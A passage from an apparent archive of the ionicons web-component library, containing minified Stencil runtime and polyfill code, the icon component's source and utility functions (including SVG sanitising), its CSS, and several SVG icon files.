t=n[0],e=n[1].y;e&&(o[e]=t)}),o=Object.assign({},o),e.attributeChangedCallback=function(n,t,e){(function r(n,t,e,i){var o=n[_(e)];o&&(t[o]=i)})(o,this,n,e)},function u(n,t,e){t.forEach(function(t){var r=t[0],i=t[1],o=i.xn;3&o?b(e,r,function t(){return(n.fn.get(this)||{})[r]},function t(e){y(n,this,r,p(i.m,e))}):32===o&&m(e,r,W)})}(n,i,e)}}function M(n,t,e,r){return function(){var i=arguments;return function o(n,t,e){var r=t[e],i=n.i.body;return i?(r||(r=i.querySelector(e)),r||(r=t[e]=n.a(e),n.T(i,r)),r.componentOnReady()):Promise.resolve()}(n,t,e).then(function(n){return n[r].apply(n,i)})}}function j(n,t,r,i,o,u){var f={html:{}},a={},l=r[n]=r[n]||{},v=function p(n,t,e){n.ael||(n.ael=function(n,t,e,r){return n.addEventListener(t,e,r)},n.rel=function(n,t,e,r){return n.removeEventListener(t,e,r)});var r=new WeakMap;"function"!=typeof t.CustomEvent&&(t.CustomEvent=function(n,t,r){return(r=e.createEvent("CustomEvent")).initCustomEvent(n,t.bubbles,t.cancelable,t.detail),r},t.CustomEvent.prototype=t.Event.prototype);var i={i:e,e:!!e.documentElement.attachShadow,Pn:!1,q:function(n){return n.nodeType},a:function(n){return e.createElement(n)},x:function(n,t){return e.createElementNS(n,t)},S:function(n){return e.createTextNode(n)},_n:function(n){return e.createComment(n)},s:function(n,t,e){return n.insertBefore(t,e)},R:function(n){return n.remove()},T:function(n,t){return n.appendChild(t)},A:function(n,t){if(n.classList)n.classList.add(t);else if("svg"===n.nodeName.toLowerCase()){var e=n.getAttribute("class")||"";e.split(" ").includes(t)||(e+=" "+t),n.setAttribute("class",e.trim())}},N:function(n){return n.childNodes},o:function(n){return n.parentNode},H:function(n){return n.nextSibling},G:function(n){return n.previousSibling},L:function(n){return _(n.nodeName)},Q:function(n){return n.textContent},F:function(n,t){return n.textContent=t},U:function(n,t){return n.getAttribute(t)},Tn:function(n,t,e){return n.setAttribute(t,e)},Wn:function(n,t,e,r){return n.setAttributeNS(t,e,r)},b:function(n,t){return n.removeAttribute(t)},w:function(n,t){return n.hasAttribute(t)},jn:function(t){return t.getAttribute("mode")||(n.Context||{}).mode},Nn:function(n,r){return"child"===r?n.firstElementChild:"parent"===r?i.D(n):"body"===r?e.body:"document"===r?e:"window"===r?t:n},g:function(t,e,o,u,f,c,a,s){var l=e,v=t,p=r.get(t);if(p&&p[l]&&p[l](),"string"==typeof c?v=i.Nn(t,c):"object"==typeof c?v=c:(s=e.split(":")).length>1&&(v=i.Nn(t,s[0]),e=s[1]),v){var d=o;(s=e.split(".")).length>1&&(e=s[0],d=function(n){n.keyCode===x[s[1]]&&o(n)}),a=i.Pn?{capture:!!u,passive:!!f}:!!u,n.ael(v,e,d,a),p||r.set(t,p={}),p[l]=function(){v&&n.rel(v,e,d,a),p[l]=null}}},M:function(n,t){var e=r.get(n);e&&(t?e[t]&&e[t]():Object.keys(e).forEach(function(n){e[n]&&e[n]()}))},Rn:function(n,e,r){return n&&n.dispatchEvent(new t.CustomEvent(e,r))},D:function(n,t){return(t=i.o(n))&&11===i.q(t)?t.host:t},kn:function(n,t){return n.attachShadow(t)}};return i}(l,r,i);t.isServer=t.isPrerender=!(t.isClient=!0),t.window=r,t.location=r.location,t.document=i,t.resourcesUrl=t.publicPath=o,l.h=s,l.Context=t;var h=r["s-defined"]=r["s-defined"]||{},y=0,m={r:v,Ln:function b(n,t){var e=n.n;r.customElements.get(e)||(g(m,f[e]=n,t.prototype,u),t.observedAttributes=Object.values(n.p).map(function(n){return n.y}).filter(function(n){return!!n}),r.customElements.define(n.n,t))},Dn:t.emit,v:function(n){return f[v.L(n)]},an:function(n){return t[n]},isClient:!0,P:function(n){return!(!h[v.L(n)]&&!m.v(n))},Mn:function(){return n+y++},ln:function(n,t,e){},Fn:function(n){return function t(n,e,r){return{create:M(n,e,r,"create"),componentOnReady:M(n,e,r,"componentOnReady")}}(v,a,n)},queue:t.queue=function w(n,t){function e(t){return function(e){t.push(e),p||(p=!0,n.raf(o))}}function r(n){for(var t=0;t<n.length;t++)try{n[t](u())}catch(n){}n.length=0}function i(n,t){for(var e,r=0;r<n.length&&(e=u())<t;)try{n[r++](e)}catch(n){}r===n.length?n.length=0:0!==r&&n.splice(0,r)}function o(){v++,r(a);var t=u()+7*Math.ceil(v*(1/22));i(s,t),i(l,t),s.length>0&&(l.push.apply(l,s),s.length=0),(p=a.length+s.length+l.length>0)?n.raf(o):v=0}var u=function(){return t.performance.now()},f=Promise.resolve(),c=[],a=[],s=[],l=[],v=0,p=!1;return n.raf||(n.raf=t.requestAnimationFrame.bind(t)),{tick:function(n){c.push(n),1===c.length&&f.then(function(){return r(c)})},read:e(a),write:e(s)}}(l,r),An:function j(n,t,e){if(n.on)d(m,t);else{var r=!v.e,i={mode:t.mode,scoped:r};n.Hn(i).then(function(e){try{n.on=e,function r(n,t,e,i,o){if(i){var u=t.n+(o||O);t[u]||(t[u]=i)}}(0,n,n.t,e.style,e.styleMode)}catch(t){n.on=function i(){}}d(m,t)})}},yn:!1,nn:!1,W:!1,hn:e,in:new WeakMap,u:new WeakMap,gn:new WeakMap,En:new WeakMap,Sn:new WeakMap,_:new WeakMap,un:new WeakMap,vn:new WeakMap,rn:new WeakMap,en:new WeakMap,X:new WeakMap,On:new WeakMap,qn:new WeakMap,mn:new WeakMap,fn:new WeakMap,V:new Set,wn:[]};l.onReady=function(){return new Promise(function(n){return m.queue.write(function(){return m.V.size?m.wn.push(n):n()})})},m.render=c(m,v);var k=v.i.documentElement;return k["s-ld"]=[],k["s-rn"]=!0,k["s-init"]=function(){m._.set(k,l.loaded=m.nn=!0),v.Rn(r,"appload",{detail:{namespace:n}})},function $(n,t,e,r,i,o){if(t.componentOnReady=function(t,e){if(!t.nodeName.includes("-"))return e(null),!1;var r=n.v(t);if(r)if(n._.has(t))e(t);else{var i=n.On.get(t)||[];i.push(e),n.On.set(t,i)}return!!r},i){for(o=i.length-1;o>=0;o--)t.componentOnReady(i[o][0],i[o][1])&&i.splice(o,1);for(o=0;o<r.length;o++)if(!e[r[o]].componentOnReady)return;for(o=0;o<i.length;o++)i[o][1](null);i.length=0}}(m,l,r,r["s-apps"],r["s-cr"]),l.initialized=!0,m}function k(n,t,e){void 0===e&&(e={});var r=Array.isArray(t)?t:[t],i=n.document,o=e.hydratedCssClass||"hydrated",u=r.filter(function(n){return n[0]}).map(function(n){return n[0]});if(u.length>0){var f=i.createElement("style");f.innerHTML=u.join()+"{visibility:hidden}."+o+"{visibility:inherit}",f.setAttribute("data-styles",""),i.head.insertBefore(f,i.head.firstChild)}var c=e.namespace||"ionicons";return q||(q=!0,function a(n,t,e){(n["s-apps"]=n["s-apps"]||[]).push(t),e.componentOnReady||(e.componentOnReady=function t(){function e(t){if(r.nodeName.indexOf("-")>0){for(var e=n["s-apps"],i=0,o=0;o<e.length;o++)if(n[e[o]].componentOnReady){if(n[e[o]].componentOnReady(r,t))return;i++}if(i<e.length)return void(n["s-cr"]=n["s-cr"]||[]).push([r,t])}t(null)}var r=this;return n.Promise?new n.Promise(e):{then:e}})}(n,c,n.HTMLElement.prototype)),new Promise(function(r){applyPolyfills(n,function(){if(!H[c]){var u={},f=e.resourcesUrl||"./";E(c,u,n,i,f,o),H[c]=j(c,u,n,i,f,o)}t.forEach(function(t){var e;!function r(n){return/\{\s*\[native code\]\s*\}/.test(""+n)}(n.customElements.define)?(e=function(t){return n.HTMLElement.call(this,t)}).prototype=Object.create(n.HTMLElement.prototype,{constructor:{value:e,configurable:!0}}):e=new Function("w","return class extends w.HTMLElement{}")(n),H[c].Ln(function i(n){var t=function e(n){var t=n[0],e=n[1],r=n[3],i=n[4],o=n[5],u={color:{y:"color"}};if(r)for(var f=0;f<r.length;f++){var c=r[f];u[c[0]]={xn:c[1],d:!!c[2],y:"string"==typeof c[3]?c[3]:c[3]?c[0]:0,m:c[4]}}return{n:t,Hn:e,p:Object.assign({},u),t:i,Un:o?o.map(v):void 0}}(n),r=t.Hn,i=T(n[0]);return t.Hn=function(n){var t=n.mode,e=n.scoped;return function o(n,t,e){return import(
/* webpackInclude: /\.entry\.js$/ */
/* webpackMode: "lazy" */
"./build/"+n+(t?".sc":"")+".entry.js").then(function(n){return n[e]})}("string"==typeof r?r:r[t],e,i)},t}(t),e)}),r()})})}this&&this.Bn||(Object.setPrototypeOf||Array);var $=this&&this.In||function(n,t,e,r){return new(e||(e=Promise))(function(i,o){function u(n){try{c(r.Gn(n))}catch(n){o(n)}}function f(n){try{c(r.throw(n))}catch(n){o(n)}}function c(n){n.Qn?i(n.value):new e(function(t){t(n.value)}).then(u,f)}c((r=r.apply(n,t||[])).Gn())})},A=this&&this.Yn||function(n,t){function e(e){return function(u){return function c(e){if(r)throw new TypeError("Generator is already executing.");for(;f;)try{if(r=1,i&&(o=2&e[0]?i.return:e[0]?i.throw||((o=i.return)&&o.call(i),0):i.Gn)&&!(o=o.call(i,e[1])).Qn)return o;switch(i=0,o&&(e=[2&e[0],o.value]),e[0]){case 0:case 1:o=e;break;case 4:return f.tn++,{value:e[1],Qn:!1};case 5:f.tn++,i=e[1],e=[0];continue;case 7:e=f.Zn.pop(),f.pn.pop();continue;default:if(!(o=(o=f.pn).length>0&&o[o.length-1])&&(6===e[0]||2===e[0])){f=0;continue}if(3===e[0]&&(!o||e[1]>o[0]&&e[1]<o[3])){f.tn=e[1];break}if(6===e[0]&&f.tn<o[1]){f.tn=o[1],o=e;break}if(o&&f.tn<o[2]){f.tn=o[2],f.Zn.push(e);break}o[2]&&f.Zn.pop(),f.pn.pop();continue}e=t.call(n,f)}catch(n){e=[6,n],i=0}finally{r=o=0}if(5&e[0])throw e[1];return{value:e[0]?e[1]:void 0,Qn:!0}}([e,u])}}var r,i,o,u,f={tn:0,dn:function(){if(1&o[0])throw o[1];return o[1]},pn:[],Zn:[]};return u={Gn:e(0),throw:e(1),return:e(2)},"function"==typeof Symbol&&(u[Symbol.iterator]=function(){return this}),u},E=function(){};function applyPolyfills(n,t){n.zn=function(){function t(){var n=setTimeout;return function(){return n(e,1)}}function e(){for(var n=0;n<b;n+=2)(0,O[n])(O[n+1]),O[n]=void 0,O[n+1]=void 0;b=0}function r(n,t){var e=this,r=new this.constructor(o);void 0===r[x]&&h(r);var i=e.Jn;if(i){var u=arguments[i-1];M(function(){return d(i,r,u,e.Kn)})}else v(e,r,n,t);return r}function i(n){if(n&&"object"==typeof n&&n.constructor===this)return n;var t=new this(o);return c(t,n),t}function o(){}function u(n){try{return n.then}catch(n){return W.error=n,W}}function f(n,t,e){t.constructor===n.constructor&&e===r&&t.constructor.resolve===i?function(n,t){t.Jn===_?s(n,t.Kn):t.Jn===T?l(n,t.Kn):v(t,void 0,function(t){return c(n,t)},function(t){return l(n,t)})}(n,t):e===W?(l(n,W.error),W.error=null):void 0===e?s(n,t):"function"==typeof e?function(n,t,e){M(function(n){var r=!1,i=function(n,t,e,r){try{n.call(t,e,r)}catch(n){return n}}(e,t,function(e){r||(r=!0,t!==e?c(n,e):s(n,e))},function(t){r||(r=!0,l(n,t))},n.Vn);!r&&i&&(r=!0,l(n,i))},n)}(n,t,e):s(n,t)}function c(n,t){if(n===t)l(n,new TypeError("cannot resolve promise w/ itself"));else{var e=typeof t;null===t||"object"!==e&&"function"!==e?s(n,t):f(n,t,u(t))}}function a(n){n.Xn&&n.Xn(n.Kn),p(n)}function s(n,t){n.Jn===P&&(n.Kn=t,n.Jn=_,0!==n.nt.length&&M(p,n))}function l(n,t){n.Jn===P&&(n.Jn=T,n.Kn=t,M(a,n))}function v(n,t,e,r){var i=n.nt,o=i.length;n.Xn=null,i[o]=t,i[o+_]=e,i[o+T]=r,0===o&&n.Jn&&M(p,n)}function p(n){var t=n.nt,e=n.Jn;if(0!==t.length){for(var r,i,o=n.Kn,u=0;u<t.length;u+=3)r=t[u],i=t[u+e],r?d(e,r,i,o):i(o);n.nt.length=0}}function d(n,t,e,r){var i="function"==typeof e,o=void 0,u=void 0,f=void 0,a=void 0;if(i){try{o=e(r)}catch(n){W.error=n,o=W}if(o===W?(a=!0,u=o.error,o.error=null):f=!0,t===o)return void l(t,new TypeError("Cannot return same promise"))}else o=r,f=!0;t.Jn===P&&(i&&f?c(t,o):a?l(t,u):n===_?s(t,o):n===T&&l(t,o))}function h(n){n[x]=N++,n.Jn=void 0,n.Kn=void 0,n.nt=[]}var y,m=Array.isArray?Array.isArray:function(n){return"[object Array]"===Object.prototype.toString.call(n)},b=0,w=void 0,g=void 0,M=function(n,t){O[b]=n,O[b+1]=t,2===(b+=2)&&(g?g(e):S())},j=(y=void 0!==n?n:void 0)||{},k=j.tt||j.et;j="undefined"==typeof self;var $,A,E,C="undefined"!=typeof Uint8ClampedArray&&"undefined"!=typeof importScripts&&"undefined"!=typeof MessageChannel,O=Array(1e3),S=void 0;S=k?($=0,A=new k(e),E=document.createTextNode(""),A.observe(E,{characterData:!0}),function(){E.data=$=++$%2}):C?function(){var n=new MessageChannel;return n.rt.onmessage=e,function(){return n.it.postMessage(0)}}():void 0===y&&"function"==typeof require?function(){try{var n=Function("return this")().ot("vertx");return void 0!==(w=n.ut||n.ft)?function(){w(e)}:t()}catch(n){return t()}}():t();var x=Math.random().toString(36).substring(2),P=void 0,_=1,T=2,W={error:null},N=0,R=function(){function n(n,t){this.ct=n,this.at=new n(o),this.at[x]||h(this.at),m(t)?(this.st=this.length=t.length,this.Kn=Array(this.length),0===this.length?s(this.at,this.Kn):(this.length=this.length||0,this.lt(t),0===this.st&&s(this.at,this.Kn))):l(this.at,Error("Array Methods must be provided an Array"))}return n.prototype.lt=function(n){for(var t=0;this.Jn===P&&t<n.length;t++)this.vt(n[t],t)},n.prototype.vt=function(n,t){var e=this.ct,c=e.resolve;c===i?(c=u(n))===r&&n.Jn!==P?this.pt(n.Jn,t,n.Kn):"function"!=typeof c?(this.st--,this.Kn[t]=n):e===L?(f(e=new e(o),n,c),this.dt(e,t)):this.dt(new e(function(t){return t(n)}),t):this.dt(c(n),t)},n.prototype.pt=function(n,t,e){var r=this.at;r.Jn===P&&(this.st--,n===T?l(r,e):this.Kn[t]=e),0===this.st&&s(r,this.Kn)},n.prototype.dt=function(n,t){var e=this;v(n,void 0,function(n){return e.pt(_,t,n)},function(n){return e.pt(T,t,n)})},n}(),L=function(){function n(t){if(this[x]=N++,this.Kn=this.Jn=void 0,this.nt=[],o!==t){if("function"!=typeof t)throw new TypeError("Must pass a resolver fn as 1st arg");if(!(this instanceof n))throw new TypeError("Failed to construct 'Promise': Use the 'new' operator.");!function(n,t){try{t(function(t){c(n,t)},function(t){l(n,t)})}catch(t){l(n,t)}}(this,t)}}return n.prototype.catch=function(n){return this.then(null,n)},n.prototype.finally=function(n){var t=this.constructor;return this.then(function(e){return t.resolve(n()).then(function(){return e})},function(e){return t.resolve(n()).then(function(){throw e})})},n}();return L.prototype.then=r,L.all=function(n){return new R(this,n).at},L.race=function(n){var t=this;return m(n)?new t(function(e,r){for(var i=n.length,o=0;o<i;o++)t.resolve(n[o]).then(e,r)}):new t(function(n,t){return t(new TypeError("Must pass array to race"))})},L.resolve=i,L.reject=function(n){var t=new this(o);return l(t,n),t},L.ht=function(n){g=n},L.yt=function(n){M=n},L.mt=M,L.bt=function(){var n=void 0;if("undefined"!=typeof global)n=global;else if("undefined"!=typeof self)n=self;else try{n=Function("return this")()}catch(n){throw Error("polyfill failed")}var t=n.Promise;if(t){var e=null;try{e=Object.prototype.toString.call(t.resolve())}catch(n){}if("[object Promise]"===e&&!t.wt)return}n.Promise=L},L.Promise=L,L.bt(),L}();var e=[];n.customElements&&(!n.Element||n.Element.prototype.closest&&n.Element.prototype.matches&&n.Element.prototype.remove)||e.push(import("./polyfills/dom.js")),"function"==typeof Object.assign&&Object.entries||e.push(import("./polyfills/object.js")),Array.prototype.find&&Array.prototype.includes||e.push(import("./polyfills/array.js")),String.prototype.startsWith&&String.prototype.endsWith||e.push(import("./polyfills/string.js")),n.fetch||e.push(import("./polyfills/fetch.js")),function r(){try{var n=new URL("b","http://a");return n.pathname="c%20d","http://a/c%20d"===n.href&&n.gt}catch(n){return!1}}||e.push(import("./polyfills/url.js")),Promise.all(e).then(function(e){e.forEach(function(t){t.applyPolyfill(n,n.document)}),t()})}var C="ssrv",O="$",S={},x={enter:13,escape:27,space:32,tab:9,left:37,up:38,right:39,down:40},P=function(n){return null!=n},_=function(n){return n.toLowerCase()},T=function(n){return _(n).split("-").map(function(n){return n.charAt(0).toUpperCase()+n.slice(1)}).join("")},W=function(){},N="http://www.w3.org/1999/xlink",R=!1,L=[],D={forEach:function(n,t){n.forEach(function(n,e,r){return t(l(n),e,r)})},map:function(n,t){return n.map(function(n,e,r){return function i(n){return{vtag:n.vtag,vchildren:n.vchildren,vtext:n.vtext,vattrs:n.vattrs,vkey:n.vkey,vname:n.vname}}(t(l(n),e,r))})}},F="wc-",H={},q=!1;export{k as defineCustomElement,s as h};esm/es5/ionicons.components.js000064400000000676151701353760012410 0ustar00// ionicons: Host Data, ES Module/es5 Target
export var Icon = ["ion-icon","esckjbl8",1,[["ariaLabel",2,1,"aria-label",2],["color",1,0,1,2],["doc",4,0,0,0,"document"],["el",64],["icon",1,0,1,2],["ios",1,0,1,2],["isServer",4,0,0,0,"isServer"],["isVisible",16],["lazy",1,0,1,4],["md",1,0,1,2],["mode",1,0,1,2],["name",1,0,1,2],["resourcesUrl",4,0,0,0,"resourcesUrl"],["size",1,0,1,2],["src",1,0,1,2],["svgContent",16],["win",4,0,0,0,"window"]],1];esm/es5/ionicons.define.js000064400000000454151701353760011447 0ustar00
// ionicons: Custom Elements Define Library, ES Module/es5 Target

import { defineCustomElement } from './ionicons.core.js';
import {
  Icon
} from './ionicons.components.js';

export function defineCustomElements(win, opts) {
  return defineCustomElement(win, [
    Icon
  ], opts);
}
collection/icon/utils.js000064400000002651151701353760011341 0ustar00export function getName(name, mode, ios, md) {
    mode = (mode || 'md').toLowerCase();
    if (ios && mode === 'ios') {
        name = ios.toLowerCase();
    }
    else if (md && mode === 'md') {
        name = md.toLowerCase();
    }
    else if (name) {
        name = name.toLowerCase();
        if (!/^md-|^ios-|^logo-/.test(name)) {
            name = `${mode}-${name}`;
        }
    }
    if (typeof name !== 'string' || name.trim() === '') {
        return null;
    }
    const invalidChars = name.replace(/[a-z]|-|\d/gi, '');
    if (invalidChars !== '') {
        return null;
    }
    return name;
}
export function getSrc(src) {
    if (typeof src === 'string') {
        src = src.trim();
        if (src.length > 0 && /(\/|\.)/.test(src)) {
            return src;
        }
    }
    return null;
}
export function isValid(elm) {
    if (elm.nodeType === 1) {
        if (elm.nodeName.toLowerCase() === 'script') {
            return false;
        }
        for (let i = 0; i < elm.attributes.length; i++) {
            const val = elm.attributes[i].value;
            if (typeof val === 'string' && val.toLowerCase().indexOf('on') === 0) {
                return false;
            }
        }
        for (let i = 0; i < elm.childNodes.length; i++) {
            if (!isValid(elm.childNodes[i])) {
                return false;
            }
        }
    }
    return true;
}
collection/icon/icon.js000064400000013211151701353760011123 0ustar00import { getName, getSrc, isValid } from './utils';
export class Icon {
    constructor() {
        this.isVisible = false;
        this.lazy = false;
    }
    componentWillLoad() {
        this.waitUntilVisible(this.el, '50px', () => {
            this.isVisible = true;
            this.loadIcon();
        });
    }
    componentDidUnload() {
        if (this.io) {
            this.io.disconnect();
            this.io = undefined;
        }
    }
    waitUntilVisible(el, rootMargin, cb) {
        if (this.lazy && this.win && this.win.IntersectionObserver) {
            const io = this.io = new this.win.IntersectionObserver((data) => {
                if (data[0].isIntersecting) {
                    io.disconnect();
                    this.io = undefined;
                    cb();
                }
            }, { rootMargin });
            io.observe(el);
        }
        else {
            cb();
        }
    }
    loadIcon() {
        if (!this.isServer && this.isVisible) {
            const url = this.getUrl();
            if (url) {
                getSvgContent(this.doc, url, 's-ion-icon')
                    .then(svgContent => this.svgContent = svgContent);
            }
        }
        if (!this.ariaLabel) {
            const name = getName(this.name, this.mode, this.ios, this.md);
            if (name) {
                this.ariaLabel = name
                    .replace('ios-', '')
                    .replace('md-', '')
                    .replace(/\-/g, ' ');
            }
        }
    }
    getUrl() {
        let url = getSrc(this.src);
        if (url) {
            return url;
        }
        url = getName(this.name, this.mode, this.ios, this.md);
        if (url) {
            return this.getNamedUrl(url);
        }
        url = getSrc(this.icon);
        if (url) {
            return url;
        }
        url = getName(this.icon, this.mode, this.ios, this.md);
        if (url) {
            return this.getNamedUrl(url);
        }
        return null;
    }
    getNamedUrl(name) {
        return `${this.resourcesUrl}svg/${name}.svg`;
    }
    hostData() {
        return {
            'role': 'img',
            class: Object.assign({}, createColorClasses(this.color), { [`icon-${this.size}`]: !!this.size })
        };
    }
    render() {
        if (!this.isServer && this.svgContent) {
            return h("div", { class: "icon-inner", innerHTML: this.svgContent });
        }
        return h("div", { class: "icon-inner" });
    }
    static get is() { return "ion-icon"; }
    static get encapsulation() { return "shadow"; }
    static get properties() { return {
        "ariaLabel": {
            "type": String,
            "attr": "aria-label",
            "reflectToAttr": true,
            "mutable": true
        },
        "color": {
            "type": String,
            "attr": "color"
        },
        "doc": {
            "context": "document"
        },
        "el": {
            "elementRef": true
        },
        "icon": {
            "type": String,
            "attr": "icon",
            "watchCallbacks": ["loadIcon"]
        },
        "ios": {
            "type": String,
            "attr": "ios"
        },
        "isServer": {
            "context": "isServer"
        },
        "isVisible": {
            "state": true
        },
        "lazy": {
            "type": Boolean,
            "attr": "lazy"
        },
        "md": {
            "type": String,
            "attr": "md"
        },
        "mode": {
            "type": String,
            "attr": "mode"
        },
        "name": {
            "type": String,
            "attr": "name",
            "watchCallbacks": ["loadIcon"]
        },
        "resourcesUrl": {
            "context": "resourcesUrl"
        },
        "size": {
            "type": String,
            "attr": "size"
        },
        "src": {
            "type": String,
            "attr": "src",
            "watchCallbacks": ["loadIcon"]
        },
        "svgContent": {
            "state": true
        },
        "win": {
            "context": "window"
        }
    }; }
    static get style() { return "/**style-placeholder:ion-icon:**/"; }
}
const requests = new Map();
function getSvgContent(doc, url, scopedId) {
    let req = requests.get(url);
    if (!req) {
        req = fetch(url, { cache: 'force-cache' }).then(rsp => {
            if (rsp.ok) {
                return rsp.text();
            }
            return Promise.resolve(null);
        }).then(svgContent => validateContent(doc, svgContent, scopedId));
        requests.set(url, req);
    }
    return req;
}
function validateContent(document, svgContent, scopeId) {
    if (svgContent) {
        const frag = document.createDocumentFragment();
        const div = document.createElement('div');
        div.innerHTML = svgContent;
        frag.appendChild(div);
        for (let i = div.childNodes.length - 1; i >= 0; i--) {
            if (div.childNodes[i].nodeName.toLowerCase() !== 'svg') {
                div.removeChild(div.childNodes[i]);
            }
        }
        const svgElm = div.firstElementChild;
        if (svgElm && svgElm.nodeName.toLowerCase() === 'svg') {
            if (scopeId) {
                svgElm.setAttribute('class', scopeId);
            }
            if (isValid(svgElm)) {
                return div.innerHTML;
            }
        }
    }
    return '';
}
function createColorClasses(color) {
    return (color) ? {
        'ion-color': true,
        [`ion-color-${color}`]: true
    } : null;
}
collection/icon/icon.css000064400000002523151701353760011303 0ustar00:host {
  display: inline-block;

  width: 1em;
  height: 1em;

  contain: strict;

  box-sizing: content-box !important;
}

:host(.ion-color) {
  color: var(--ion-color-base) !important;
}

:host(.icon-small) {
  font-size: var(--ion-icon-size-small, 18px) !important;
}

:host(.icon-large){
  font-size: var(--ion-icon-size-large, 32px) !important;
}

.icon-inner,
svg {
  display: block;

  fill: currentColor;
  stroke: currentColor;

  height: 100%;
  width: 100%;
}

/* Set iOS Icon Colors */
/* ------------------- */

:host(.ion-color-primary) {
  --ion-color-base: var(--ion-color-primary, #3880ff);
}

:host(.ion-color-secondary) {
  --ion-color-base: var(--ion-color-secondary, #0cd1e8);
}

:host(.ion-color-tertiary) {
  --ion-color-base: var(--ion-color-tertiary, #f4a942);
}

:host(.ion-color-success) {
  --ion-color-base: var(--ion-color-success, #10dc60);
}

:host(.ion-color-warning) {
  --ion-color-base: var(--ion-color-warning, #ffce00);
}

:host(.ion-color-danger) {
  --ion-color-base: var(--ion-color-danger, #f14141);
}

:host(.ion-color-light) {
  --ion-color-base: var(--ion-color-light, #f4f5f8);
}

:host(.ion-color-medium) {
  --ion-color-base: var(--ion-color-medium, #989aa2);
}

:host(.ion-color-dark) {
  --ion-color-base: var(--ion-color-dark, #222428);
}
collection/icon/svg/ios-alert.svg000064400000000613151701353760013056 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm17.2 109.6l-3.1 115.1c-.2 8.2-5.9 14.8-14.1 14.8s-13.9-6.6-14.1-14.8l-3.1-115.1c-.2-9.6 7.5-17.6 17.2-17.6 9.6 0 17.4 7.9 17.2 17.6zM256 354c-10.7 0-19.1-8.1-19.1-18.4s8.4-18.4 19.1-18.4c10.7 0 19.1 8.1 19.1 18.4S266.7 354 256 354z"/></svg>collection/icon/svg/ios-archive.svg000064400000000615151701353760013372 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M460 120H52c-2.2 0-4-1.8-4-4V96c0-17.7 14.3-32 32-32h352c17.7 0 32 14.3 32 32v20c0 2.2-1.8 4-4 4zM440 146H72c-4.4 0-8 3.6-8 8v262c0 17.6 14.4 32 32 32h320c17.6 0 32-14.4 32-32V154c0-4.4-3.6-8-8-8zM306 288h-99.6c-7.1 0-13.4-5.2-14.3-12.3-1-8.5 5.6-15.7 13.9-15.7h99.6c7.1 0 13.4 5.2 14.3 12.3 1 8.4-5.6 15.7-13.9 15.7z"/></svg>collection/icon/svg/md-refresh.svg000064400000000560151701353760013214 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 388c-72.597 0-132-59.405-132-132 0-72.601 59.403-132 132-132 36.3 0 69.299 15.4 92.406 39.601L278 234h154V80l-51.698 51.702C348.406 99.798 304.406 80 256 80c-96.797 0-176 79.203-176 176s78.094 176 176 176c81.045 0 148.287-54.134 169.401-128H378.85c-18.745 49.561-67.138 84-122.85 84z"/></svg>collection/icon/svg/md-brush.svg000064400000000500151701353760012673 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M149.9 302.2c-39.1 0-70.7 31-70.7 69.3 0 30.3-27.3 46.2-47.2 46.2C53.7 446 90.7 464 126.3 464c52.1 0 94.3-41.4 94.3-92.4 0-38.4-31.6-69.4-70.7-69.4zM473.1 85.7l-31.6-31c-9.2-9-24-9-33.2 0L197 261.8l64.8 63.5 211.2-207c9.3-9 9.3-23.6.1-32.6z"/></svg>collection/icon/svg/logo-game-controller-a.svg000064400000001560151701353760015427 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M369.3 146H142.7C81.5 146 32 191.5 32 255.4c0 64 49.5 110.6 110.7 110.6h226.5c61.2 0 110.7-46.6 110.7-110.6.1-63.9-49.4-109.4-110.6-109.4zM200 266.7c0 2.7-2.4 5.3-5.2 5.3H160v35.1c0 2.8-3.1 4.9-5.8 4.9h-21.4c-2.6 0-4.8-1.9-4.8-4.5V272H92.9c-2.8 0-4.9-3.1-4.9-5.8v-21.4c0-2.6 1.9-4.8 4.5-4.8H128v-34.8c0-2.8 1.9-5.2 4.6-5.2h22.1c2.7 0 5.3 2.4 5.3 5.2V240h34.8c2.8 0 5.2 1.9 5.2 4.6v22.1zm119.8 8.8c-10.7 0-19.5-8.6-19.5-19.2s8.7-19.2 19.5-19.2 19.5 8.6 19.5 19.2-8.8 19.2-19.5 19.2zm42.5 41.8c-10.7 0-19.5-8.5-19.5-19.1 0-10.6 8.7-19.2 19.5-19.2s19.5 8.5 19.5 19.2c0 10.6-8.7 19.1-19.5 19.1zm0-83.7c-10.7 0-19.5-8.6-19.5-19.1 0-10.6 8.7-19.2 19.5-19.2s19.5 8.6 19.5 19.2c0 10.5-8.7 19.1-19.5 19.1zm42.6 41.9c-10.7 0-19.4-8.6-19.4-19.2s8.7-19.2 19.4-19.2 19.5 8.6 19.5 19.2c-.1 10.6-8.8 19.2-19.5 19.2z"/></svg>collection/icon/svg/md-umbrella.svg000064400000001161151701353760013357 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M410.1 244.1c12 0 26.6 10.9 33.8 25.9H464c-.3-50-21.2-101.5-59.4-140.9-36.3-37.4-83-60.5-132.6-65.7-3-9-11.5-15.4-21.6-15.4-10 0-18.5 6.5-21.5 15.3C125.3 73.8 48 159.7 48 266.2c0 1.1.1 1.8.4 3.8h21.8c6.8-15 22.2-25.9 35.3-25.9 17 0 31.5 10.9 36.5 25.9h19.8c4.1-15 16.9-25.7 33-25.7 17.8 0 33.1 14.5 34.1 32.6v118.3c0 9.3.1 24.1-13.4 24.1-6.9 0-16.6-1.8-16.6-16V382h-43v21.3c0 34.6 23.6 60.7 60 60.7 19.5 0 33.3-8.5 43.5-18.7 13.1-13.2 13.5-34.7 13.5-50.1V276.1c2-25.8 23.9-31.7 41.9-31.7 17.2 0 32.3 11.6 37.8 25.6h20.5c5.1-15 19.8-25.9 37-25.9z"/></svg>collection/icon/svg/md-hourglass.svg000064400000000435151701353760013566 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 48v122.8h.2l-.2.2 85.3 85-85.3 85.2.2.2h-.2V464h256V341.4h-.2l.2-.2-85.3-85.2 85.3-85-.2-.2h.2V48H128zm213.3 303.9v71.5H170.7v-71.5l85.3-85.2 85.3 85.2zM256 245.4l-85.3-85.2V87.6h170.7v72.5L256 